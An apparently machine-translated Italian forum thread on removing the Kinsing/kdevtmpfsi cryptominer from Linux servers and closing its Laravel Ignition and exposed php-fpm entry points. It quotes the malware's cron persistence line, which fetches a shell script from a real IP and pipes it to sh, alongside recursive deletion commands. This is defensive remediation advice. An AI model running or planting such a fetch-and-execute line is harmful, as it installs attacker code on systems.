La soluzione menzionata qui ha funzionato per noi. Fondamentalmente crei i file utilizzati dal minatore, senza alcun diritto, quindi il minatore non può crearli e utilizzarli.https://github.com/docker-library/redis/issues/217
touch /tmp/kdevtmpfsi && touch /var/tmp/kinsing
echo "everything is good here" > /tmp/kdevtmpfsi
echo "everything is good here" > /var/tmp/kinsing
touch /tmp/zzz
echo "everything is good here" > /tmp/zzz
chmod go-rwx /var/tmp
chmod 1777 /tmp
Ho riscontrato lo stesso problema con Laravel in Centos 8, questi sono i passaggi che ho seguito per rimuovere il malware e correggere il sistema.
Rimozione del malware dai passaggi del sistema:Passaggio 1:
Rimuovi il malware:
Elimina i due processi (kdevtmpfsi
e kinsing
-Possono avere lo stesso nome ma con caratteri casuali alla fine-) usando htop
o qualsiasi altro gestore di processo.
htop F3 per cercare i servizi kdevtmpfsi e kinsing
Utilizzare quanto segue per trovare ed eliminare i file:
# find / -iname kdevtmpfsi* -exec rm -fv {} \;
# find / -iname kinsing* -exec rm -fv {} \;
L'output dovrebbe essere simile a:
removed '/tmp/kdevtmpfsi962782589'
removed '/tmp/kdevtmpfsi'
removed '/tmp/kinsing'
removed '/tmp/kinsing_oA1GECLm'
Passaggio 2:
Controlla la presenza di un cron job:
controlla se esiste un cron job che reinizializzerebbe il malware.
Ho trovato il mio in:/var/spool/cron/apache
>
UBUNTU /var/spool/cron/crontabs/www-data
Comprendeva quanto segue:
* * * * * wget -q -O - http://195.3.146.118/lr.sh | sh > /dev/null 2>&1
Passaggio 3:
Crea nuovi file e rendili di sola lettura:
# touch /tmp/kdevtmpfsi && touch /tmp/kinsing
# echo "kdevtmpfsi is fine now" > /tmp/kdevtmpfsi
# echo "kinsing is fine now" > /tmp/kinsing
# chmod 0444 /tmp/kdevtmpfsi
# chmod 0444 /tmp/kinsing
Patch del progetto Laravel:Passaggio 1:
Disattiva APP_DEBUG:
assicurati che il APP_DEBUG
l'attributo è false
in .env
perché è così che la vulnerabilità ottiene l'accesso.
Passaggio 2:
Aggiorna accensione:
Aggiorna l'accensione a una versione superiore a 2.5.1
per assicurarsi che la vulnerabilità sia corretta.
eseguire quanto segue nella cartella del progetto:
$ composer update facade/ignition
Ho lottato con questo minatore per alcuni giorni e nel mio caso era il php-fpm:9000
porto esposto.
Immagino sia possibile iniettare del codice da remoto in questo modo.
Quindi se usi docker
con php-fpm
, NON correre il tuo contenitore in questo modo:
docker run -v /www:/var/www -p 9000:9000 php:7.4
Rimuovi la mappatura della porta: .-p 9000:9000
Non dimenticare di ricostruire e riavviare i tuoi container.
Maggiori dettagli qui:https://github.com/laradock/laradock/issues/2451#issuecomment-577722571